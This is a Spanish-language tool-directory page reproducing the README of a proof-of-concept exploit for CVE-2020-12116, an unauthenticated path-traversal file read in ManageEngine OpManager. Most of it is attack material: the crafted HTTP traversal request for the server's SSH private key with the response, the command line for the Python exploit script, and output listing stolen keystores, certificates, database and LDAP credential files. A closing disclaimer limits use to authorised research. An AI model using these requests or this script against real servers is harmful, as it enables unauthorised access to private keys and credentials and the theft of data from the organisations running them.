Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/beetlechunks/cve-2020-12116
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónPruebas de Penetración
GitHubbeetlechunks/cve-2020-12116

CVE-2020-12116

Código de prueba de concepto para explotar CVE-2020-12116: Lectura de archivos arbitraria no autenticada en ManageEngine OpManger.

Ver Repositorio
30101hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-12116

Código de prueba de concepto para explotar CVE-2020-12116: Lectura arbitraria de archivos sin autenticación en ManageEngine OpManger.

Resumen

La última versión de OpManger contiene una vulnerabilidad de salto de directorio que permite acceso no restringido a todos los archivos de la aplicación OpManager. Esto incluye claves SSH privadas, almacenes de claves Java protegidos con contraseña, y archivos de configuración que contienen contraseñas para almacenes de claves, certificados privados y la base de datos del backend. Si LDAP está configurado, se pueden obtener credenciales de dominio de "conf/OpManager/ldap.conf".

Análisis de Vulnerabilidad

Realice una solicitud GET sin autenticación al directorio raíz de la aplicación ManageEngine OpManager, por defecto, en el puerto 8060.

root@kitploit:~
GET / HTTP/1.1
Host: <HOSTNAME>:8060
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

El HTML de respuesta contendrá URL "src" de JavaScript en caché.

root@kitploit:~
<SCRIPT LANGUAGE="javascript" SRC="/cachestart/125116/cacheend/apiclient/fluidicv2/
javascript/jquery/jquery-3.4.1.min.js"></SCRIPT>

El extracto de URL "SRC" anterior contiene una vulnerabilidad de salto de directorio que permite lecturas arbitrarias de archivos desde el directorio de instalación raíz de ManageEngine. Por defecto, la ruta de instalación es "C:\Program Files\ManageEngine\OpManager".

NOTA: El número después de "/cachestart/" es el número de compilación del producto, pero cualquier número se puede usar para explotar la vulnerabilidad.

Aprovechando la URL de origen del script del HTML de respuesta, se puede utilizar una solicitud GET con salto de directorio para leer archivos arbitrarios del servidor remoto.

REQUEST:

root@kitploit:~
GET /cachestart/125116/cacheend/apiclient/fluidicv2/javascript/jquery/../../../../bin/.ssh_host_rsa_key HTTP/1.1
Host: <HOSTNAME>:8060
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Cache-Control: max-age=0
Referer: http://<HOSTNAME>:8060/

RESPONSE:

root@kitploit:~
HTTP/1.1 200 
Set-Cookie: JSESSIONID=4E221B342BC080BC9AC2D19378364E3B; Path=/; HttpOnly
X-FRAME-OPTIONS: DENY
Accept-Ranges: bytes
ETag: W/"902-1586033949624"
Last-Modified: Sat, 04 Apr 2020 20:59:09 GMT
Vary: Accept-Encoding
Date: Mon, 13 Apr 2020 15:40:01 GMT
Connection: close
Content-Length: 902

-----BEGIN RSA PRIVATE KEY-----
MIICX...pXqnO
-----END RSA PRIVATE KEY-----

Ejemplo usando el código de exploit Python3 proporcionado

Resumen:

root@kitploit:~
Este script aprovecha la vulnerabilidad de lectura arbitraria de archivos contra
endpoints de ManageEngine OpManager para descargar archivos sensibles, como claves
privadas, almacenes de claves privados, certificados, archivos de configuración que
contienen contraseñas, etc.

Comando:

root@kitploit:~
python3 exploit.py -t <hostname/IP> -p 8060 -d ./

Salida:

root@kitploit:~
[+] bin/.ssh_host_dsa_key saved to ./bin|.ssh_host_dsa_key
[+] bin/.ssh_host_dsa_key.pub saved to ./bin|.ssh_host_dsa_key.pub
[+] bin/.ssh_host_rsa_key saved to ./bin|.ssh_host_rsa_key
[+] bin/.ssh_host_rsa_key.pub saved to ./bin|.ssh_host_rsa_key.pub
[+] conf/client.keystore saved to ./conf|client.keystore
[+] conf/customer-config.xml saved to ./conf|customer-config.xml
[+] conf/database_params.conf saved to ./conf|database_params.conf
[+] conf/FirewallAnalyzer/aaa_auth-conf.xml saved to ./conf|FirewallAnalyzer|aaa_auth-conf.xml
[+] conf/FirewallAnalyzer/auth-conf_ppm.xml saved to ./conf|FirewallAnalyzer|auth-conf_ppm.xml
[+] conf/gateway.conf saved to ./conf|gateway.conf
[+] conf/itom.truststore saved to ./conf|itom.truststore
[+] conf/netflow/auth-conf.xml saved to ./conf|netflow|auth-conf.xml
[+] conf/netflow/server.xml saved to ./conf|netflow|server.xml
[+] conf/netflow/ssl_server.xml saved to ./conf|netflow|ssl_server.xml
[+] conf/NFAEE/cs_server.xml saved to ./conf|NFAEE|cs_server.xml
[+] conf/OpManager/database_params.conf saved to ./conf|OpManager|database_params.conf
[+] conf/OpManager/database_params_DE.conf saved to ./conf|OpManager|database_params_DE.conf
[+] conf/OpManager/ldap.conf saved to ./conf|OpManager|ldap.conf
[+] conf/OpManager/MicrosoftSQL/database_params.conf saved to ./conf|OpManager|MicrosoftSQL|database_params.conf
[+] conf/OpManager/POSTGRESQL/database_params.conf saved to ./conf|OpManager|POSTGRESQL|database_params.conf
[+] conf/OpManager/POSTGRESQL/database_params_DE.conf saved to ./conf|OpManager|POSTGRESQL|database_params_DE.conf
[+] conf/OpManager/securitydbData.xml saved to ./conf|OpManager|securitydbData.xml
[+] conf/OpManager/SnmpDefaultProperties.xml saved to ./conf|OpManager|SnmpDefaultProperties.xml
[+] conf/Oputils/snmp/Community.xml saved to ./conf|Oputils|snmp|Community.xml
[+] conf/Persistence/DBconfig.xml saved to ./conf|Persistence|DBconfig.xml
[+] conf/Persistence/persistence-configurations.xml saved to ./conf|Persistence|persistence-configurations.xml
[+] conf/pmp/PMP_API.conf saved to ./conf|pmp|PMP_API.conf
[+] conf/pmp/pmp_server_cert.p12 saved to ./conf|pmp|pmp_server_cert.p12
[+] conf/product-config.xml saved to ./conf|product-config.xml
[+] conf/SANSeed.xml saved to ./conf|SANSeed.xml
[+] conf/server.keystore saved to ./conf|server.keystore
[+] conf/server.xml saved to ./conf|server.xml
[+] conf/system_properties.conf saved to ./conf|system_properties.conf
[+] conf/tomcat-users.xml saved to ./conf|tomcat-users.xml
[+] lib/OPM_APNS_Cert.p12 saved to ./lib|OPM_APNS_Cert.p12

Descargo de responsabilidad

Este código de prueba de concepto ha sido creado para investigación académica y no está destinado a ser utilizado contra sistemas excepto donde esté explícitamente autorizado. El código se proporciona tal cual, sin garantías ni promesas sobre su ejecución. No soy responsable ni me hago cargo del uso indebido de este código.

Descargar herramienta